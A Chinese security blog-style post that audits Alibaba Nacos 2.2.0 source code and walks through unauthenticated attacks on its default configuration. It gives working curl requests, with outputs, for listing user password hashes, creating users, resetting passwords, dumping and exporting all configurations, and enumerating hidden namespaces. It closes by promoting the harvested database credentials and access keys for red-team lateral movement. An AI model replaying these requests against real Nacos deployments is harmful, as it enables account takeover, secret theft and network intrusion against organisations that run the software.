Nacos /nɑ:k??s/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
https://github.com/alibaba/nacos/issues/1105
在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。
这里就不做过多介绍了,网上有很多。
就在我撰写本文的时候,官方刚刚发布了最新的版本2.2.0 (Dec 14, 2022)
,我们就来一探究竟。
为了方便起见,我这里使用Debian系统并采用的单机部署的方式。
sudo?apt-get?update
sudo?apt-get?install?default-jdk
sudo?ufw?disable
wget?https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.zip
unzip?nacos-server-2.2.0.zip
cd?nacos/bin
bash?startup.sh?-m?standalone
然后访问http://ip:8848/nacos,如果出现登录界面,就说明部署成功了,默认的账号密码为nacos/nacos。
我们首先尝试使用老版本的payload尝试能不能打。
curl?'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'?-H?'User-Agent:?Nacos-Server'
不出意外,返回。
caused:?Parameter?conditions?"search=blur"?OR?"search=accurate"?not?met?for?actual?request?parameters:?pageNo={1},?pageSize={9};%
我们仔细看一下报错,提示说是缺少search=blur
或者search=accurate
,那我们加上再试试看。
curl?'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'?-H?'User-Agent:?Nacos-Server'
curl?'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate'?-H?'User-Agent:?Nacos-Server'
这就成功了?
我一开始以为没修,后来发现,我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果,但是默认启动却不开鉴权的,并且根据github的issue来看,官方并不认为这是漏洞,以至于网上出了之前由于不当处理User-Agent导致的未授权访问漏洞之后,后人少有挖掘其利用方式,网上的相关资料也基本上停留在那次CVE。
由于默认是不开auth的,所以我们先来讨论未开启auth的情况。
curl?-X?GET?'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
curl?-X?POST?'http://192.168.20.144:8848/nacos/v1/auth/users?username=test1&password=test1'
{"code":200,"message":null,"data":"create?user?ok!"}
curl?-X?PUT?'http://192.168.20.144:8848/nacos/v1/auth/users?accessToken='?-H?'User-Agent:Nacos-Server'?-d?'username=test1&newPassword=test2'
基本上目前主流针对Nacos的利用手法就停留在这里了,以至于防守方会通过WAF规则的形式来拦截掉这几个url请求。
但是根据代码审计以及官方的api接口文档,我们还能找到许多可以利用的接口,官方文档里面有的,我就不说了,大家自己可以去OpenAPI(https://nacos.io/zh-cn/docs/open-api.html)自行查看,官网里面的OpenAPI所给出的利用价值并不是很高。
下载源码后通过简单查找发现在nacos/config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.java
和nacos/core/src/main/java/com/alibaba/nacos/core/utils/Commons.java
文件下,有相关路由的定义,相关代码如下:
public?static?final?String?BASE_PATH?=?"/v1/cs";
????
????public?static?final?String?BASE_V2_PATH?=?"/v2/cs";
????
????public?static?final?String?OPS_CONTROLLER_PATH?=?BASE_PATH?+?"/ops";
????
????public?static?final?String?CAPACITY_CONTROLLER_PATH?=?BASE_PATH?+?"/capacity";
????
????public?static?final?String?COMMUNICATION_CONTROLLER_PATH?=?BASE_PATH?+?"/communication";
????
????public?static?final?String?CONFIG_CONTROLLER_PATH?=?BASE_PATH?+?"/configs";
????
????public?static?final?String?CONFIG_CONTROLLER_V2_PATH?=?BASE_V2_PATH?+?"/config";
????
????public?static?final?String?HEALTH_CONTROLLER_PATH?=?BASE_PATH?+?"/health";
????
????public?static?final?String?HISTORY_CONTROLLER_PATH?=?BASE_PATH?+?"/history";
????
????public?static?final?String?HISTORY_CONTROLLER_V2_PATH?=?BASE_V2_PATH?+?"/history";
????
????public?static?final?String?LISTENER_CONTROLLER_PATH?=?BASE_PATH?+?"/listener";
????
????public?static?final?String?NAMESPACE_CONTROLLER_PATH?=?BASE_PATH?+?"/namespaces";
????
????public?static?final?String?METRICS_CONTROLLER_PATH?=?BASE_PATH?+?"/metrics";
public?final?class?Commons?{
????
????public?static?final?String?NACOS_SERVER_CONTEXT?=?"/nacos";
????
????public?static?final?String?NACOS_SERVER_VERSION?=?"/v1";
????
????public?static?final?String?NACOS_SERVER_VERSION_V2?=?"/v2";
????
????public?static?final?String?DEFAULT_NACOS_CORE_CONTEXT?=?NACOS_SERVER_VERSION?+?"/core";
????
????public?static?final?String?NACOS_CORE_CONTEXT?=?DEFAULT_NACOS_CORE_CONTEXT;
????
????public?static?final?String?NACOS_CORE_CONTEXT_V2?=?NACOS_SERVER_VERSION_V2?+?"/core";
????
????
}
我们可以看到有V1、V2两种API接口,我们根据不同类型再具体分析。
根据官方OpenAPI的说明,你需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。
curl?-X?GET?'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos'
事实真的是这样吗?
我们看一下/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java
文件中369行开始的代码。
/**
?????*?Query?the?configuration?information?and?return?it?in?JSON?format.
?????*/
????@GetMapping(params?=?"search=accurate")
????@Secured(action?=?ActionTypes.READ,?signType?=?SignType.CONFIG)
????public?Page<ConfigInfo>?searchConfig(@RequestParam("dataId")?String?dataId,?@RequestParam("group")?String?group,
????????????@RequestParam(value?=?"appName",?required?=?false)?String?appName,
????????????@RequestParam(value?=?"tenant",?required?=?false,?defaultValue?=?StringUtils.EMPTY)?String?tenant,
????????????@RequestParam(value?=?"config_tags",?required?=?false)?String?configTags,
????????????@RequestParam("pageNo")?int?pageNo,?@RequestParam("pageSize")?int?pageSize)?{
????????Map<String,?Object>?configAdvanceInfo?=?new?HashMap<>(100);
????????if?(StringUtils.isNotBlank(appName))?{
????????????configAdvanceInfo.put("appName",?appName);
????????}
????????if?(StringUtils.isNotBlank(configTags))?{
????????????configAdvanceInfo.put("config_tags",?configTags);
????????}
????????try?{
????????????return?configInfoPersistService.findConfigInfo4Page(pageNo,?pageSize,?dataId,?group,?tenant,?configAdvanceInfo);
????????}?catch?(Exception?e)?{
????????????String?errorMsg?=?"serialize?page?error,?dataId="?+?dataId?+?",?group="?+?group;
????????????LOGGER.error(errorMsg,?e);
????????????throw?new?RuntimeException(errorMsg,?e);
????????}
????}
????
????/**
?????*?Fuzzy?query?configuration?information.?Fuzzy?queries?based?only?on?content?are?not?allowed,?that?is,?both?dataId
?????*?and?group?are?NULL,?but?content?is?not?NULL.?In?this?case,?all?configurations?are?returned.
?????*/
????@GetMapping(params?=?"search=blur")
????@Secured(action?=?ActionTypes.READ,?signType?=?SignType.CONFIG)
????public?Page<ConfigInfo>?fuzzySearchConfig(@RequestParam("dataId")?String?dataId,
????????????@RequestParam("group")?String?group,?@RequestParam(value?=?"appName",?required?=?false)?String?appName,
????????????@RequestParam(value?=?"tenant",?required?=?false,?defaultValue?=?StringUtils.EMPTY)?String?tenant,
????????????@RequestParam(value?=?"config_tags",?required?=?false)?String?configTags,
????????????@RequestParam("pageNo")?int?pageNo,?@RequestParam("pageSize")?int?pageSize)?{
????????MetricsMonitor.getFuzzySearchMonitor().incrementAndGet();
????????Map<String,?Object>?configAdvanceInfo?=?new?HashMap<>(50);
????????if?(StringUtils.isNotBlank(appName))?{
????????????configAdvanceInfo.put("appName",?appName);
????????}
????????if?(StringUtils.isNotBlank(configTags))?{
????????????configAdvanceInfo.put("config_tags",?configTags);
????????}
????????try?{
????????????return?configInfoPersistService.findConfigInfoLike4Page(pageNo,?pageSize,?dataId,?group,?tenant,?configAdvanceInfo);
????????}?catch?(Exception?e)?{
????????????String?errorMsg?=?"serialize?page?error,?dataId="?+?dataId?+?",?group="?+?group;
????????????LOGGER.error(errorMsg,?e);
????????????throw?new?RuntimeException(errorMsg,?e);
????????}
????}
我们可以看到首先先进行了signType = SignType.CONFIG
的权限检查,这里的signType的一个作用就是检查auth是否开启,但是之前也提到过,auth是默认不开启的。接着我们继续分析,当参数search=accurate
时,从GET请求中获取参数dataId
、group
、appName
、tenant
、config_tags
、pageNo
、pageSize
参数,其中appName
、tenant
、config_tags
不是必填的,接着先检查appName
和configTags
是否为空,我们直接留空或者不填就能绕过这个判断,然后接下来就是迷之操作了,直接给我全部返回了。
所以我们直接构造参数,就可以发现能够获取全部的配置文件了。
curl?-X?GET?'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’
或者,
curl?-X?GET?'http://192.168.20.144:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
但这里有个问题,这只能获取默认命名空间public
里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。
根据官方的OpenAPI文档描述,可以直接请求获取。
curl -X GET 'http://192.168.20.144:8848/nacos/v1/console/namespaces'
我们查看对应的代码,处理namespace的代码在nacos/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java
这里,我们看从48行开始的代码,相关代码如下:
@RestController
@RequestMapping("/v1/console/namespaces")
public?class?NamespaceController?{
????
????@Autowired
????private?CommonPersistService?commonPersistService;
????
????@Autowired
????private?NamespaceOperationService?namespaceOperationService;
????
????private?final?Pattern?namespaceIdCheckPattern?=?Pattern.compile("^[\\w-]+");
????
????private?static?final?int?NAMESPACE_ID_MAX_LENGTH?=?128;
????
????/**
?????*?Get?namespace?list.
?????*
?????*?@return?namespace?list
?????*/
????@GetMapping
????public?RestResult<List<Namespace>>?getNamespaces()?{
????????return?RestResultUtils.success(namespaceOperationService.getNamespaceList());
????}
这样一看上去,直接访问就能获取到Namespace列表,我们再跟一下namespaceOperationService.getNamespaceList()
???
?public?List<Namespace>?getNamespaceList()?{
????????//?TODO?获取用kp
????????List<TenantInfo>?tenantInfos?=?commonPersistService.findTenantByKp(DEFAULT_KP);
????????
????????Namespace?namespace0?=?new?Namespace("",?DEFAULT_NAMESPACE,?DEFAULT_QUOTA,
????????????????configInfoPersistService.configInfoCount(DEFAULT_TENANT),?NamespaceTypeEnum.GLOBAL.getType());
????????List<Namespace>?namespaceList?=?new?ArrayList<>();
????????namespaceList.add(namespace0);
????????
????????for?(TenantInfo?tenantInfo?:?tenantInfos)?{
????????????int?configCount?=?configInfoPersistService.configInfoCount(tenantInfo.getTenantId());
????????????Namespace?namespaceTmp?=?new?Namespace(tenantInfo.getTenantId(),?tenantInfo.getTenantName(),
????????????????????tenantInfo.getTenantDesc(),?DEFAULT_QUOTA,?configCount,?NamespaceTypeEnum.CUSTOM.getType());
????????????namespaceList.add(namespaceTmp);
????????}
????????return?namespaceList;
????}
看上去也没有做什么限制,我们直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间。
这时候我们已经拿到了namespace
、namespaceShowNmae
,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant
参数获取的就是namespce
,我们直接把tenant=test_namespace
加进去构造请求,轻松读取到非public空间的数据。
curl?-X?GET?'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace'
就在我看上面上面这部分代码的时候,我们无意中发现了一个下载文件的接口,还是这个文件,找到了疑似导出配置文件的接口,我们继续跟进一下。
/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java
接着我们在482行看到了相关代码。
根据逻辑,我们很轻松的构造出下载的链接,跟上面的类似,其中tenant为空默认下载public命名空间,如果要下载其他命名空间的配置文件则重复之前的先获取Namespace即可。
http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test_namespace&group=&appName=&ids=
现在来看,之所以因为官方觉得不开启auth不算是漏洞,是因为根据官网OpenAPI来看,你需要知道具体的?Data Id
?以及?Group
才能读到具体配置,但是攻击者总能够通过代码审计的方法找到其他参数进行绕过。
目前攻防对抗实战中,Nacos的环境遇到非常多,并且无一例外都没有开启auth,很多防守方甚至只是用防火墙阻断网上公开的那几条exp利用的关键地址,Nacos里面保存了企业很多的配置文件比如数据库连接信息、AK/SK信息等等,拿到账号密码等信息之后用来做密码本,然后再进行内网横向,杀伤力非常之大。